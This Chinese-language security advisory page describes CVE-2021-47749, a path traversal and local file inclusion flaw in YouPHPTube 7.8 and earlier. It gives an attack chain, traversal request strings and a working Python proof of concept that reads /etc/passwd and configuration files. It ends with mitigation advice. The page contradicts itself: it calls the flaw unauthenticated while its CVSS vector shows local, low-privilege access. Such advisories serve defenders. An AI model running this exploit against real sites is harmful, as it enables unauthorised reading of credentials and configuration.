IPBUF安全漏洞报告
English
CVE-2021-47749 CVSS 5.5 中危

CVE-2021-47749 YouPHPTube本地文件包含漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2021-47749
漏洞类型
本地文件包含(Local File Inclusion)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
YouPHPTube

相关标签

本地文件包含路径遍历信息泄露YouPHPTubeCVE-2021-47749Web应用安全未授权访问

漏洞概述

CVE-2021-47749是YouPHPTube视频分享平台中的一个本地文件包含漏洞。该漏洞影响YouPHPTube 7.8及以下版本,允许未认证攻击者通过操纵HTTP GET请求中的'lang'参数来读取服务器上的任意文件。攻击者利用locale/function.php文件中的路径遍历漏洞,使用目录遍历序列(如../)绕过安全限制,访问Web根目录之外的文件系统内容。此漏洞可能导致敏感信息泄露,包括配置文件、源代码、凭据文件等。由于漏洞无需认证即可利用,且CVSS评分为5.5,对机密性造成较高影响,因此被评定为中危漏洞。建议受影响的用户尽快升级到最新版本或采取临时缓解措施。

技术细节

漏洞存在于YouPHPTube的locale/function.php文件中,该文件负责处理语言切换功能。攻击者可以通过构造特殊的'lang'参数值来触发路径遍历。漏洞利用方式如下:攻击者发送包含目录遍历序列的GET请求,例如?lang=../../../../etc/passwd或?lang=../../config.php,以读取系统文件或配置文件。服务器端代码在处理'lang'参数时未进行充分的输入验证和路径规范化,导致攻击者可以绕过预期的语言文件目录限制。由于PHP的include或require语句会执行被包含的PHP文件,攻击者还可能通过包含恶意PHP文件来实现远程代码执行。漏洞的CVSS向量为CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N,表明攻击复杂度低,无需特殊权限即可利用。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用YouPHPTube <= 7.8版本
STEP 2
步骤2
攻击者访问包含lang参数的页面,尝试路径遍历
STEP 3
步骤3
构造恶意请求:GET /?lang=../../../../etc/passwd
STEP 4
步骤4
服务器解析lang参数,locale/function.php未进行安全过滤
STEP 5
步骤5
PHP include语句包含攻击者指定的文件内容
STEP 6
步骤6
敏感文件内容被返回给攻击者,导致信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2021-47749 PoC - YouPHPTube Local File Inclusion # Target: YouPHPTube <= 7.8 # Vulnerability: Path traversal in lang parameter via locale/function.php def exploit_lfi(target_url, filename): """ Exploit Local File Inclusion vulnerability Args: target_url: Base URL of YouPHPTube instance filename: File to read (e.g., ../../../../etc/passwd) """ # Construct malicious URL with path traversal payload = f"{target_url}/?lang=../../../../{filename}" try: response = requests.get(payload, timeout=10) if response.status_code == 200: print(f"[+] Successfully read: {filename}") print(response.text[:500]) return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Example usage if __name__ == "__main__": target = "http://target.com" # Replace with actual target # Read system file exploit_lfi(target, "etc/passwd") # Read configuration file exploit_lfi(target, "var/www/html/config.php")

影响范围

YouPHPTube <= 7.8

防御指南

临时缓解措施
临时缓解措施:在Web应用层配置URL参数过滤规则,阻止包含../序列的请求;限制PHP的open_basedir配置,只允许访问必要的目录;对所有用户输入实施严格的输入验证和输出编码;考虑临时禁用多语言功能或使用预设的语言选项替代动态加载。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表